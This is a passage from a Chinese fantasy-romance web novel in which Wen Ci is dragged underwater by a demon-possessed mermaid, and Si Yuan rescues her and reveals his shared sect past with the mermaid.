“鱼尾巴?那得是多大的鱼啊?尾巴都伸到船上来了。”章扬脸色苍白,一边嘟囔,一边摸着手臂。三番四次的惊吓,他的心理防线已经完全崩掉,起了一身的鸡皮疙瘩。
“你们还记不记得,刚才司渊说指尖血可以防止我们被美人鲛的歌声迷了心智。”
顾清河也走过来,他看起来要比这两个人的情绪稳定一些,至少他还能根据司渊的话,做出一些有条理的分析和猜测。顾冉和章扬都看向他,顾清河继续说:“所以,把温辞拽下海的那个东西,极有可能是司渊口中的美人鲛。”
“美人鲛?”章扬愣了下,又说:“鲛人啊?我怎么那么不信呢。”
顾清河睨他一眼,说:“不管你信不信,事实就是,温辞已经被拽下水了。”
章扬安静了一瞬,扭头和顾清河说:“那咱们得赶紧走啊。万一那东西一会儿还上来呢?我可不想死。你会不会开船啊?”
顾清河摇头,嗫喏说了句:“不会。”会开船的两个人,已经全都在海里了。
顾冉几乎是和顾清河同时开口:“不行啊,温辞还在下面呢。司渊已经去救她了,我们要等他们的。而且,这艘游艇是温辞的,你们不能开走。”
顾清河和章扬的目光都落到了顾冉身上,打量、审视,甚至是不怀好意,她不是感觉不到。
可就算是这样,顾冉依旧坚持自己的想法,单薄的身躯和两人对视,嗓音也在发颤,但语气莫名坚定,“而且,这艘游艇的所有人是温辞。无论如何,你们不能抛下她,把船开走。”
顾清河的良知似乎都被她这番话给唤醒了,臊得羞红了脸,在顾冉的注视下,缓缓垂下了脑袋。
只是不知,他是在自责,还是在思考。
章扬分别看了两人一眼,随即朝着顾冉走了过去。他站到她的面前,漫不经心打量她一眼,轻嗤一声,说:“顾冉,你装什么装?别以为我不知道,你和温辞的感情没那么好。”
顾清河也做出了抉择。和至高无上的性命相比,年少时的心动,太过廉价。他不愿为了温辞去冒险,冠冕堂皇开口,道:“拖温辞下水的那个东西,我们谁也没有见过,也不知道到底有多危险。就算是我们在这里,也帮不上什么忙,还有可能丢了性命。我觉得我们还是先上岸去,然后再寻求海警的帮助。”
“我觉得,你说的对。”不等顾冉开口,章扬走到顾清河身侧,拍了拍他的肩膀,说:“你成绩好,去研究一下这船要怎么启动。我手机还有电,咱们可以按照地图标注的庚辰岛方向走。”
“你们不能这样,温辞会死的。”顾冉在他们身后大喊了一声。
顾清河没说话,只是转过头看了她一眼,又专注研究起游艇的操作台。章扬不愿听到她说这样的话,不耐烦转过身,冲顾冉挥了挥拳头,恶狠狠地说:“你他妈给我闭嘴。你如果不想走,我也可以一脚把你踹到海里去。”
“章扬。”顾清河警告性的喊了他一声,“过来帮我个忙。”
顾冉的眼泪簌簌落下,焦急地看着海面,却没再说话。她已经看出来了,无论是顾清河和章扬,都是存了必走的心思。可海里还有两个人啊,那可是两条人命。
可惜,直到游艇启动,司渊和温辞也没从海里出来。
39. 戾气
-
海水冰凉又刺激,温辞眯着眼睛,任由那一道未知的力量拽着她往更深处游去。并非是她无动于衷,而是她实在挣扎不开。早在她被拽下海时,她就试过了。
蔚蓝的海水几乎浸透了肌肤,四肢越来越冰冷,她身上已经没多少力气了。与其胡乱挣扎着早早失了力气,还不如等司渊来的时候,与他合力。
拖她下水的这个东西,不仅力气大,游的速度也非常快。除了最开始,温辞再也没有看到过司渊追过来的身影。
后知后觉,温辞心里终于生出了一丝恐惧。
也不管司渊能不能听见,她一遍遍在心里暗想:
司渊,你可一定要快啊。
我虽然会游泳,可我不太能闭气。
你再不来,我怕是真的就要死了。
此时此刻的她,就像是一个人形风筝,腰间系着绳索,在海底‘自由’飘荡。
温辞能够清晰的感觉到,自己正逐渐被向深海,因为周围海水的压力越来越大,挤压着她的心脏。
有点不太舒服,还有点想吐。
但温辞都忍住了。
很多个时刻,她都觉得自己的身体已经忍到极限了。可不知道为什么,吐一口浊气,她又能坚持一会儿。
在此之前,她从来没有闭过这么长时间的气,也不能闭这么长时间的气。
预料之中的窒息感也迟迟没有到来。
温辞正为此感到疑惑。
沉重的眼睫颤了颤,她缓缓睁开了眼。首先入眼的,依旧是大片深蓝。其次,是成群结队却叫不出名字的小鱼。
它们好像丝毫不害怕体型庞大的她,围着她游来游去。最重要的是,温辞发现,她下坠的速度放缓了很多。
不等温辞细想,束在她腰间的那道力量忽然消失。就像是断了线的风筝,只能随着海水的浮力飘荡。
温辞下意识转动脑袋,试图去寻找拖自己下水的东西。
隐约中,她记得,圈住她的,是一条在阳光的照射下能够散发出绚烂色彩的、类似于大蛇的尾巴。
不等她找到那个东西,脚尖忽然触到一块坚硬。下一秒,她稳稳当当地站了上去。温辞垂首,她踩着的,是一块打磨的非常平整的白玉床。
温辞放缓了呼吸,依旧被眼前的画面惊到合不拢嘴。她如今身处的地方,是只有在影视剧、亦或是奇幻文学作品中才能看到的画面。
白玉床放在一只超级大的白色蚌壳里。蚌壳内侧,镶嵌着无数颗拳头大小的夜明珠。蚌壳外面,包裹着一层近乎到透明的白色结界。结界之外,五彩斑斓的小鱼在蔚蓝的海水里游动。
也是这个时候,温辞忽然发现,她在这里是可以自由呼吸的。肌肤也异常干燥,仿佛刚才浸在深海里的人不是她一般。她用指腹捻了一下垂在胸前的一缕发丝,同样干燥无比。
温辞骤然反应过来——是这道结界,在海底开辟出一隅奇观。
她扫了一圈周围,除了外面那群斑斓的小鱼和她自己,视线所到之处,再没有别的生物。拽她下水的那个未知的生物,不知所踪。
温辞收回视线,她从白玉床上下来,走到透明的结界面前,盯着看了一会儿后,缓缓抬起手。
结界的手感很奇特,像回弹力很强的捏捏——柔和,但结实。
一时间,温辞有点止不住手。
戳一下,再戳一下。
“春水春池满......”
直到她又一次听到那阵婉转的戏腔,才连忙停了手上的动作。手指蜷缩一下后,不动声色收回掌中。
除了戏腔,温辞还听到一阵‘咕嘟咕嘟’的声音,那感觉,就像有人在她耳边吐泡泡。循着声音发出的方向望去,她看到了只存在于山海经和上古神话传说中的生物——鲛人,也就是司渊口中的美人鲛。
上半身是人,下半身是鱼。
惊讶之余,温辞不忘从头到脚——不对,是从头至尾打量她。
乌发浅眸,雪肌细腻。尤其是那张脸,实在是惊艳无比。五彩斑斓的鳞片,自胸口向下蔓延,一直到尾巴。
温辞暗暗想:难怪世人都称其为美人鱼呢。
极深海底,虽然阳光照不进来。但镶嵌在蚌壳上的无数夜明珠散发的光芒堪比日光,照亮这一隅天地。夜明珠的光芒将她那条尾巴映照的更加流光溢彩,就像是把彩虹披在了身上。
恍惚中,温辞隐约发现,她的怀里好像还抱着一个什么东西。不等她看清,美人鲛穿过了结界,游到了她面前。
伴着美人鲛的靠近,她身上自带的一种异香钻入温辞鼻息。虽浓郁,却并不呛人,反而让人觉得心情愉悦。
许是温辞打量她的眼神太过专注,又许是美人鲛的感知力太强,温辞对她的好奇,以及无论如何也掩饰不去的恐惧全都被她看了去。
美人鲛脸上的浮起一抹意味不明的笑意,她抬了抬手,冰凉的手指勾住温辞的下巴,那条流光溢彩的尾巴幻化成两条腿,鳞片也变成了古代制式的华贵衣裙。
温辞垂眸,看到一截似雪的皓腕,以及遍布伤痕的手指。再抬头时,温辞的眼中多了丝疑惑。
“为何这般看着我?”娇软的声音传入温辞耳中,她忙不迭瞥开视线。也是这时,温辞才看到,美人鲛怀里抱着的,是一只白色的九尾狐。
美人鲛和九尾狐?这样的配置,温辞从来没有听说过。
于是,她仔细看了两眼,发现了九尾狐的些许异样。
九尾狐并不是活的,而是用质地和白玉床一样质地的白玉雕琢而成的。但雕琢人的手艺很好,连狐狸毛的纹理都雕刻的无比真实。
莫非,她的手指上的伤痕,就是这么来的?
“你在看什么?”
温辞正想着,美人鲛的声音又传入她耳中。同时,勾着她下巴的手指又用了点力气,温辞不得不仰起头和她对视。
美人鲛却垂下了脑袋,视线定格在那只玉刻的九尾狐身上,神情无比温柔。她松开了勾着温辞下巴的手,轻轻抚了抚九尾狐的脊背,问:“你是不是也想他?你要抱一下吗?”
说这话时,她甚至都没有抬头,仿佛温辞和她有多熟稔。
温辞一时不知道怎么回话,安静了片刻。
“阿辞?”美人鲛似是不耐,抬眸瞥她一眼,又说:“姐姐问你话呢,你怎么不回答?”
“阿辞?你——你怎么知道
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我的名字?”温辞又恐惧又惊诧,但更多的,是好奇。
“你认识我?”温辞壮着胆子问她。
美人鲛神色一凝,眉眼之间的温柔瞬间转为戾气。
她一步一步向前,逼着温辞一步步后退,声嘶力竭地嘶吼道:“你不记得我了?那他呢?你还记得他吗?你们还有谁记得他啊?”
一边说,她一边把怀里的九尾狐玉像举到温辞眼前,眼神直勾勾盯着她,势必要逼她说出一个答案。
温辞被问懵了,踉跄着后退几步,视线在九尾狐和美人鲛的脸上转了个来回。对于她刚才的回答,美人鲛好像很生气,感觉下一秒就会冲过来咬破她的喉咙。
温辞不敢冒这个险,想起刚才和她的对话,眸光一转,有了对策。
“姐姐,你别生气,我怕。我怎么会忘记你——你们呢。”
说话间,温辞接过她递到面前来的九尾狐,学着她的动作,把九尾狐轻柔抱在怀里。刚准备上手去抚摸玉狐的脊背,却被美人鲛反手抢了回去。
“你撒谎,还给我。”
美人鲛的感知力好像尤其敏锐,她感觉到温辞在撒谎。温辞被她扯了一个趔趄,双手颤了颤,费力稳住身形。
她好像尤其宝贝那只玉狐。
美人鲛又垂下了头,对着那只玉狐自言自语,道:“看吧,沧海桑田,他们都把你忘了。只有我,只有我还记得你。”
说到后半句,她的神态变得有些疯魔。莫名的,温辞从她的脸上看出几分龇牙咧嘴的意味来。
如果说,刚才她只是想要咬断她的脖子,那么现在,温辞感觉她下一秒就会冲上来将她扒皮抽骨。
可蚌壳的面积是有限的,而她现在又被美人鲛逼到了角落,她已经避无可避了。
事实证明,她的直觉是对的。
美人鲛的确没打算放过她,步步紧逼不说,甚至还想出手攻击她。
“我平生最恨的,就是你们这种忘恩负义、欺师灭祖之辈,连自己的授业恩师都能忘,那就就没有活在这个世上的必要了。”话音未落,她冲着温辞扑过来。
温辞慌乱扫了一圈,在那双遍布伤痕的手掐住她的脖子之前,狼狈不堪地跳到了白玉床——她最初降落的地方。
危及生命的重要时刻,温辞没心思去细想她那些话的具体含义到底是指桑骂槐,还是什么别的。
也许是潜意识的求生本能,让她飞速捕捉到了美人鲛说的那段话的精髓——欺师灭祖,授业恩师。
联想到两人之前的对话内容,温辞下意识开口:“姐姐,我没忘记。是...师——”
父字还没吐出来,她的脖子就被掐住了。
不对,不是掐,是缠。
美人鲛并没有追到白玉床上来,她不知道什么时候又幻化成了人鱼的模样,用尾巴尖大力缠上了她的脖子。
温辞挣扎了一番,缠着她的那道力度却越来越大。
她终于切实地感受到了什么叫做窒息感。温辞放弃了挣扎,并在心里暗暗祈祷司渊不要来。她不想司渊也被这个鲛人给杀了。
奄奄一息之际,温辞隐隐感觉脚下的白玉床发出一阵颤动,像是地震之后的余震。
40. 仙宗
-
震动过后,温辞觉得缠在她脖子上的力气小了一点。可她依旧说不出话来,堪堪能够呼吸。
对于一个差点窒息的人而言,能够自由呼吸,是再好不过的事情了。
温辞近乎贪婪地呼吸着,对周围的感知力弱了很多。更无心去关注,刚才的震动是怎么一回事。
也正是因为如此,她并没有看到一缕紫色烟雾穿透结界,更没有看到那缕烟雾轻飘飘绕到了美人鲛的身后,继而幻化成了司渊的模样。
“住手。”直到司渊的声音清晰传入温辞耳中,她才费力睁开眼睛,循着声音发出的方向望了过去。
这一刻,司渊的形象前所未有的高大。
尽管他只是定定地站在美人鲛的身后,微微侧着脑袋,关切的目光越过美人鲛的肩头,落在她苍白的脸庞上,似是在确认她安全与否。
不知道是看到熟人之后的心理反应,还是美人鲛当真被司渊的喝声给吓到,温辞感觉缠着自己脖颈的力道,稍微减弱了一点。
同时,在和司渊四目相对的瞬间,她心里那点微弱的恐惧瞬间放大了很多倍,眼睛里也噙上了水光。
明明看到他之前,她很坚强的,情绪也没这么敏感。
可就算这样,她依旧趁着美人鲛回头去打量司渊的时刻,给司渊比了一个‘OK’的手势。
呼吸越来越顺畅,温辞后知后觉意识到,刚才的感觉并非是她的臆测。美人鲛转身去看司渊的同时,卷在她脖子上的那截尾巴尖不仅逐渐卸了力道,而且正在缓缓抽离。温辞并没有因此庆幸,或者干脆放松警惕。
鳞片轻轻剐蹭着脖颈的肌肤,又滑又痒。温辞下意识打了个寒颤。
爷爷喜欢看动物世界,她偶尔回老宅的时候,也会跟着一起看。她知道,一旦捕食者忽然放弃了眼前轻而易举就能够杀死的猎物,并非是忽然良心发现,而是有了更感兴趣的猎物。
美人鲛的尾巴顺着她的后脊骨慢慢滑下,温辞心里却咯噔一下,嗫喏颤了下嘴巴,不等她发出声音,那条尾巴就冲着司渊扫了过去。
速度极快,落在温辞眼里,只是闪过一抹虚影。但温辞知道,那是美人鲛的尾巴。
温辞眼眸里又涌起一层水汽。这一刻,她宁愿司渊没有追上来。她宁愿美人鲛没有抛下她,转而去攻击司渊。
“司渊,小心。”
她以为司渊下一秒就会和她一样,被美人鲛的尾巴缠住,几近窒息,狼狈至极。
可她错了。
长尾扫过,带起一阵疾风。
她甚至没有看清司渊是如何移动的,只觉得两道虚影在眼前晃了又晃。待司渊站定,他已经和美人鲛在刚才的打斗中调换了位置,站到了白玉床边——将她护在了身后。
温辞诧异睁大了眼睛。
不单单是因为司渊躲开了美人鲛的攻击,更因为他怀里抱着的那只玉狐。他竟然抢了美人鲛的那只玉狐,那美人鲛不得撕了他啊?
在他没赶来之前,她独自一人和美人鲛周旋时,就隐隐感觉到这只玉狐对美人鲛很重要。尤其是在两人对话之后,她更是坚信了这一点。
可现在,那只玉狐正被司渊抱在怀里。温辞被司渊的举动给吓着了,甚至无意识的倒吸了一口凉气。
她看了一眼对面的美人鲛,心中更是为司渊担忧。她想和司渊‘科普’一下这只玉狐的重要性,可美人鲛正怒气冲冲地盯着司渊,好似下一秒钟就会扑上来和司渊厮打。
美人鲛阴沉着一张脸,冲司渊伸手:“还给我。”
司渊没应,甚至没抬头看她。只是抬起另一只手,缓缓抚了抚玉狐的脊背。
看着这画面,温辞愣了下:他此时的动作,和美人鲛抚摸玉狐的动作,是那么相似。
仿佛那只玉狐是个什么了不得的活物、宝贝一般。
温辞又想起她被美人鲛拽入水中之前,司渊就曾用指尖血化解了美人鲛的歌声凝成的幻境,以及他刚才打斗时比美人鲛还快的身形。
莫非,他和美人鲛之间有什么关联?
不然,他怎么会一来就抢走了美人鲛的玉狐?一定是他知道这只玉狐的重要性。
温辞慢慢拧起了眉——如果真的是这样,那这个世界也太玄幻了。可这两日,她经历的玄幻的事情也很多,不在乎再多这一两件。
她吞了口口水,不着痕迹地打量着眼前的一切。
司渊的不回应,让美人鲛的怒气又上升了一个层次。她嘶吼一声,惊走了结界外面的鱼群。她张牙舞爪的,正准备朝着司渊扑过来。
“别动。”
司渊终于抬起头,他举起玉狐,看着美人鲛,神色如常,没有丝毫惧意,说:“你再往前一步,我就摔了它。”
明明是再寻常不过的语气,美人鲛却当真止了动作。
但肉眼可见的,一道道黑红的雾气自她的肌体之中散发而出。那场面,就像是玄幻类电视剧里魔修出场。不过顷刻,黑红雾气弥漫在结界之内,夜明珠的光亮逐渐黯淡。
可除此之外,美人鲛的确没有再轻举妄动。
司渊仍然高高举着那只玉狐,另一只手却朝温辞伸来。
“阿辞,下来。到我身边来。”他说。
“好。”温辞没有片刻犹豫,快速迈了几步,从白玉床上下来,站到了司渊身边,紧紧攥上了他的一片衣角。
他垂首看了一眼,问:“怕吗?”
“怕。”温辞心里的那点委屈、恐惧,又被他这一句话给勾出来了,颤着嗓音回了句:“我怕你找来,又怕你不来。”
她不想死,更不想他因她而死。
她的表达很含蓄,司渊却听明白了她的意思。他无声叹了口气,揽上她的肩膀,将她拥入怀中,轻声宽慰道:“放心,我不会有事的,更不会让你有事。”
美人鲛看不惯两人你侬我侬的画面,更是羞恼司渊抢走她的玉狐还用来威胁他。于是,结界里黑红的雾气越发浓郁,温辞甚至连司渊的脸都看不清了。
她只好把他的衣角攥得更紧一些。
似是察觉到她的忐忑不安,司渊环着她肩膀的手臂也微微用力,把她往怀里扣了扣,说:“我在呢,不怕。”
话音未落,一阵尖锐的讥笑声传入两人耳中。
美人鲛:“当着本座的面,和心上人卿卿我我,司渊君可真是雅兴啊。”
温辞猛然抬眸:她竟然
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知道司渊的名字!那她刚才的猜测,有可能是真的喽!这个司渊,还说把所有秘密都告诉她了。她幽怨瞥了司渊一眼:净骗人。
可是不对啊,这只美人鲛,好像也知道她的名字。
这到底是怎么一回事?
“经年未见,你二人真是越发猖狂了。师父曾教导的礼数,被你们学到狗肚子里了吗?”稍一停顿,美人鲛又缓缓开口。可这一次,婉转的女声忽然转变为低沉沙哑的男声:“来我这里做客这么久,当真连声大师姐也不愿唤出口吗?”
温辞搞不明白眼前的这个美人鲛究竟是男的,还是女的了。还是说,这世上的鲛人,都是雌雄同体?温辞听不懂,也想不通,却莫名觉得,这道低沉又沙哑的男声有点耳熟。
“我师尊乃上古神族九尾狐一脉,我九岭山更是无上仙宗,诸位同门也都是心系天下万民的谪仙人。而你,魔气缠身,身负万千血债,又如何当得大师姐?”司渊的声音依旧很平静,温辞听得云里雾里的同时,又心生万般震撼。
不仅是他说的内容,也因他的音色。
司渊的声音,和美人鲛发出的那道男声至少有百分之八十的相似度。
其余的百分之二十,则是那阵沙哑感。美人鲛的男声,像是被风沙蚀过的沙哑。而司渊的声音,则相对清亮一点。
还有他刚才说的那段话,什么师尊,什么九尾狐,什么九岭山,她一个也听不懂。温辞不得不想起被司渊拿在手上的那只玉雕的九尾狐。
难不成,那只九尾狐,就是司渊口中的师尊?
听他刚才那段话的意思,美人鲛好像是入了魔。如此一想,她之前的那些胡言乱语、以及对这只玉狐的格外偏爱,也就能说得通了。
她一定是入了魔,脑子出了问题,所以逢人便觉得是自己的同门。
可她又是如何知道司渊和她的名字的?
依旧理不通!
美人鲛被司渊的话给气得不轻,却想不出字句来辩驳。于是,周围的雾气更浓郁了些。
温辞微微蹙了蹙眉。
这雾气,有点刺激,呛得她有点睁不开眼,甚至还有点想咳嗽。
“咳咳。”叩着她肩膀的手,缓缓松开,落在她的背上,轻拍两下,为她顺了顺气。
温辞抬手,捂住了口鼻。
黑红的雾气之中,温辞隐约感觉到司渊挥了下手臂。随即,一阵轻缓的和风扫过,发尾随风微晃的同时,那阵呛人的雾气却逐渐消散、
眨眼之间,她又能看清了。
同时,她嗅到一阵熟悉的、和她在应龙殿嗅到的蜡烛里散发出来的味道一样的清雅暗香。
可这一切,温辞全都来不及细想。
因为伴着浓雾的消散,她看到了美人鲛如今的模样——依旧是人面鱼身,依旧是女性体征,可如今顶着的那张脸,却是和司渊一模一样。
那张别无二致的脸,无比相似的音色,全都让温辞骇然。看清美人鲛五官的那一瞬间,她身上的鸡皮疙瘩都起来了。
“她...她...你...”
她后退几步,看了看司渊,又看了看对面那个顶着和他一样一张脸的鲛人,连整句话都说不出来了。
41. 强盗
-
桩桩件件匪夷所思的事情接踵而至,温辞的脸色变得苍白许多。看到两张一模一样的脸,她甚至连司渊都怀疑上了。
所以,她不找痕迹退后几步,离他稍微远一些,完全是连她自己都没有意识到的下意识举动。
司渊却觉察到了。他眸色暗了暗,克制着,没让自己抬步追过去。
她一定是察觉到什么了。
“阿辞。”
他定在原地,视线从她的脚尖转回到她有些不安的脸上,语气越发轻柔,“这件事,说来话长,回头我再跟你解释,好吗?”
温辞只是迟疑片刻,便点下了头。
预料之中的抗拒没有出现,司渊稍微松了口气。
“到我身边来,好吗?”他又一次朝温辞伸出手,说:“你离我太远,我担心会护不住你。”
“好。”
这一次,温辞连迟疑都没有,握住他的手,重新走到了他身边。一靠近司渊,温辞又闻到了那阵清幽的暗香。
半男半女半鱼的美人鲛,还虎视眈眈地望着她和他,以及他手里的那只玉狐。
温辞心里明白,这样的情况下,或许下一秒就会死去,实在不适合刨根问底。而且,司渊也说了,回头会解释给她听。所以,她什么也没问,只是仰头看了一眼司渊。
他好像不知道什么叫害怕,无论是神情,还是举手投足间,满是自如。
仿佛这里,不是美人鲛的老巢,而是他的。
不知道为什么,温辞脑海中,又想起坠海之前,恍惚看到的竖瞳,心中颤颤。
她越来越看不透他了。
是从什么时候开始的呢?
不知道是她的眼神太过专注,还是司渊感受到了她的心里的忐忑,他垂眸看过来。
四目相对,莫名的,她从他的眼睛里,读出一丝欲言又止的意味。
或许,是错觉。
温辞敛了思绪,刚把视线从他脸上挪开,耳边就传来他低沉的嗓音:“阿辞,我需要你的帮助。”
“啊?”温辞重新把视线落在他的脸上,又是疑问,又是戒备:“我吗?我能帮你做什么?”
牵着她的那只大手,稍微加重了一点力度。
“我知道,你的心里有很多的疑问。原本我是打算,等出去以后再慢慢跟你解释的。”
司渊笑了,语气中夹杂着几分无奈,说:“可是阿辞,我受不了你看我的眼神。”
温辞吞了吞口水,半仰着脑袋,安静听他说。
“就像现在这样。”司渊转过身,松开她的手,将散落在鬓边的一缕碎发挽至耳后,又用指关节轻轻蹭了蹭她的眼尾,“这么美的一双眼睛,不应该满是戒心和防备。”
语气温柔缱绻,手指却异常凉寒。
明明在破庙的时候,他的身体还像一团火。眼前的司渊,还是司渊吗?
温辞不敢细想,却忍不住打了个寒颤。
司渊的动作顿了顿,神色终于变得复杂起来。尽管她壮着胆子走到他身边,尽管她没有躲避他的触碰,可她心里却在害怕。
“阿辞,你怕我。”
不是疑问,而是陈述。
温辞刚想开口说话,对上他的眼睛,竖瞳一闪而过。她嗫喏无声,冲他摇摇头,又像是想到了什么,摇头改为了点头。
无论如何,她不想骗他。
“罢了。”司渊又笑了,语气比刚才要更无奈。像是为了发泄心里那点不能言明的秘密,他揉乱了她的发顶,说:“总之,阿辞,你要相信,无论如何,我都不会伤害你。好吗?”
温辞又点点头。
尽管她心里有很多怀疑和不解,但这一点,她还是相信的。司渊从来没有伤害过她。而且,他揉乱她发顶的这个动作,让她感受到暌违良久的一丝熟悉。
司渊也喜欢对着她做这个动作,在她每次无理取闹缠着他的时候。
“你想要我怎么帮你?”她的神色变得轻松。司渊眸底,也总算是漾出一抹笑意。
“等我一下。”话落,他转过身,不再和她对视,抱着那只玉狐,三两步走到美人鲛面前。
温辞没有跟上去,为了看得更清楚些,她挪着小碎步,往旁边移了移。直到她可以一览无余地看清两个人的一举一动,才稳住身形。
美人鲛的视线,不曾一瞬落在司渊的脸上,‘她’全程都在盯着他怀里那只玉狐。
“想拿回去?”司渊把玉狐往她面前递了递,又在她伸手来抢的瞬间,重新把玉狐抱回了自己怀里。
美人鲛喉腔一滚,发出一串和他的音色极为相似的低吼。温辞依旧听不习惯,无论是美人鲛现如今的声音,还是她如今顶着的那张脸。
是以,好不容易舒展的眉心,重新蹙到一起。
司渊想来也是不习惯的,声音都带着几分不耐。
“变回你自己的脸。”他说:“不然,我就摔了这玉狐。”
但这一次,他只是嘴上说说,并没有像上一次那样,高高举起。温辞有一种感觉,就算美人鲛依旧顶着他的脸,他也不会把玉狐摔了的。
美人鲛又他呲了呲牙,又怕他真的把玉狐给摔了,阴沉着一张脸,一抬手,换回了那张俏丽无双的脸庞。
“这总行了吧?”声音也变回了她自己的。悦耳,又悦目。
温辞压过内心深处的震惊,指甲近乎要嵌到皮肉里。些微的疼痛,让她混沌的头脑恢复了几分思考能力。
无论是司渊,还是美人鲛。两人对话时的语气和内容,总给她一种特别的感觉。尤其是刚才,美人鲛的回话——骄纵里,带着点熟稔。
“你抱的时间够久了,快还给我。”美人鲛一脸愠色,朝司渊伸手,声线依旧悦耳,也依旧骄纵。
司渊却并不打算现在就给她,有了这只玉狐,她还勉强可控。可若把玉狐还给了她,那她将肆无忌惮。这个世界上,早已没了她在意的人,稍不顺心意,便要疯魔。一旦闹起来,怕是连他,一时半刻也镇不住。
视线从她遍布伤痕的指尖挪开,司渊抿抿唇,敛去眸中复杂的情绪,面无表情冲她伸手,说:“给我一颗留影珠。不然,我摔——”
“强盗。”不等他说完,美人鲛气呼呼地打断他。
温辞也被他的强盗行为给惊到,诧异地看了他一眼。
在别人的地盘,要别人的东西,还这么理直气壮!
他到底是怎么说出口的啊。
温辞不理解。
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可偏偏当事人一脸平静,似乎没觉得有半点不妥。再看美人鲛,她也只是喊了他一声强盗,就把掌心抬到了脖颈处。
随即,一滴血泪从她的眼睛里涌出。
殷红的鲜血顺着她苍白的面颊滑落,给温辞的视觉造成了很大的冲击。不知道为什么,她连呼吸都紧了几分。
那滴血泪从她的下巴垂落,又在她的掌中凝结成一颗散发出红色光芒的珠子——也就是司渊刚才说过的留影珠。
温辞早先,听过鲛人泣珠这个传说,却从来没见过。
更何况是血珠。
一阵凌厉的掌风扫过,留影珠落入司渊掌心。温辞没看珠子,而是垂眸看了一眼被那阵掌风吹得乱颤的发丝出神。
她刚才看得分明,那阵掌风打过来的时候,他的发丝,纹丝不乱。
正如他这个人。
温辞忍不住暗想:她眼前的两个人,到底是什么东西啊!司渊还是司渊吗?如果不是,那原来的司渊去哪了?
喉腔一涩,她忽然很怀念和司渊初识的那段日子。万一司渊真的出了什么事,那她怎么办啊。她强撑着,忍过了眼周的那阵酸涩,才没让眼泪落下。
再抬起头时,她神色如常,眼底的惴惴也已隐去。而司渊的注意力大多放在美人鲛身上,并没有察觉到她细微的情绪转变。
或许,他也察觉到了。
因为下一秒钟,他忽然回过头看了温辞一眼。视线从她身上扫过,却没发现任何异样,便以为是错觉。
司渊压下心里的犹疑,抱着玉狐,攥着那颗留影珠,大步朝她走来。
“拿着。”他留影珠递到温辞面前。温辞虽然疑惑,却还是伸手接了过来。大概是和她待会儿要做的事情有关,她并没有多问。
司渊却叹了口气。
无论他再怎么小心应对,隔阂还是印刻到了她的心里。依着她的性子,不等他把珠子递到她面前,她就该打破砂锅问到底了。而不是像现在这样,怯懦地瞥他一眼后,问也不问一句,就收了那珠子。
“阿辞——”他喊了她一声,想要同她解释什么。见她懵懂又怯懦抬眸望过来,终是不忍再给她平添压力。
罢了。
千头万绪的念头被强行压下。
他先是把视线从温辞身上挪开,看了一眼美人鲛。待温辞的视线也一同望去,他又收回视线,微微俯身,凑在她耳边低语:“她入了魔,脑子不清楚。”
温辞惊讶,不由得侧目。
本想与他对视,却忽略了两人之间的距离。唇上划过一抹柔软的触感,司渊眼底也有一抹诧异闪过,随即漾出一抹笑意。
他的嘴巴,好像比他的手指还要凉。可他刚才的神色,又分明是她熟悉的。
司渊率先回过神来,与她拉开点距离,继续说没有说完的事情,只是嗓音带着几分沙哑,“我需要你帮我取些东西来。”
“好。”温辞利落应下,后知后觉意识到自己如今的处境,“可——”
司渊猜到她要问什么,及时开口解释道:“待会儿,我会寻个机会,送你离开——”
“那你呢?”温辞打断他。
司渊低笑:看,不管怎么样,她还是关心他的。
42. 伏弢
-
“阿辞,我得留在这儿。”他说。
温辞眼睫颤了颤,又听见他说:“我们是她的猎物,她不可能放我离开。更何况,我还抢了她的玉狐。”
说到这,司渊停顿了一瞬,像是想起什么,眸底浮现出星星点点的笑意。随即,又缓缓开口,道:“这只玉狐,可以说是她的逆鳞。她现在之所以这么乖顺,是因为如今这只玉狐在我的手上。一旦我把玉狐还给她,她势必要跟我秋后算账的。”
温辞听着,脸上隐隐浮现出一抹担忧。
司渊瞥她一眼,又补充了句:“不过你放心,待会儿,我会寻个机会,保证让你安全离开这里。”
这句话说完,温辞脸上的那抹忧色好像更重了。司渊愣了一瞬,总算反应过来,她担忧的,好像是他。
不等温辞开口,他又说道:“放心,我也不会有事的。她应该不会杀我——”
停顿片刻,他像是想到什么,神色变得有点冷,抿抿唇,声音却比刚才更低,“就算她要杀我,我也不会让她得逞的。”
当年他打不过她,可现在的她,一定不是他的对手。只不过要费些时间。
温辞脸上的担忧不见了,可她快要哭出来了,盛满水汽的眼睛里满是惶恐。
听他这些话的意思,美人鲛是真的会动手的。万一,他真的被她弄死怎么办啊?
“不要胡思乱想。”司渊伸手捏了下她的面颊,说:“我保证,我会毫发无伤地等到你回来,好吗?”
温辞刚要点头,就又听见司渊说:“先别急着应下来。我刚才忘了告诉你,我要你去的地方,可能会有点超出你的认知。你——”
不是可能,是一定。
像是为了表决心,又像是为了让他安心,温辞打断他,说:“没关系,我不怕危险,我可以去。”
她把他刚才那番话,下意识解读成了危险。
司渊安静一瞬,含糊说了句:“倒也不是危险。”
“啊?什么?”温辞没听清。
正要开口,余光瞥见美人鲛挪着小碎步往他和温辞身边靠,司渊抿唇,将温辞侧抱在怀里。他扬起玉狐,冲美人鲛说了句:“退回去。”
温辞看着她在司渊的威胁下,气呼呼退了回去。但她的视线,好像不再局限于司渊手上那只玉狐。而且,她好像是在偷听她和司渊的对话。
司渊见她的目光一直停留在美人鲛身上,便以为她是在害怕。
安慰的话,已经说的够多了,根本起不到什么实质性的作用,干脆直接转移她的注意力。
他臂膀稍一用力,又把她往自己怀里带了带,说:“别看她了,看我。我还没说完。”
温辞这才把视线收回来,仰着头,下巴抵着他的胸口。呼吸间,她又闻到了那阵幽香,以及清淡的薄荷须后水的味道。
思维下意识开始发散,直到耳边又一次传来司渊的絮絮低语,她才又专注听他说话。
司渊:“我要送你去的,是一个叫九岭山的地方。你——”
不等他把这句话说完,美人鲛又有了新的动作。
她罔顾司渊之前的威胁,用极快的、司渊甚至来不及阻拦的速度,冲到两人面前,喊了句:“我也要去。”
美人鲛看了一眼温辞,后又把视线落在司渊脸上,揪着他的衣角,语气近乎哀求说:“小七,我求你了。你不是最喜欢我的留影珠吗?这样,我用好多好多珠子跟你换。你把我送到他身边去,好不好?”
温辞不动声色地打量着这两人。
这个时候,她还不知道为什么美人鲛会喊他小七,为什么非要司渊送她回去。但她猜测,美人鲛之所有有这么大的反应,是因为听到了‘九岭山’这三个字。
事实证明,她的猜测并没有错。
再看司渊,他并没有像之前几次那样,用言语威胁、亦或是恐吓她退回去,更没有拨开她攥着他衣角的手。他只是神色复杂地盯着她看了一会儿,随即用沙哑到不能再沙哑的声音,无可奈何地喊了她一声:“师姐。”
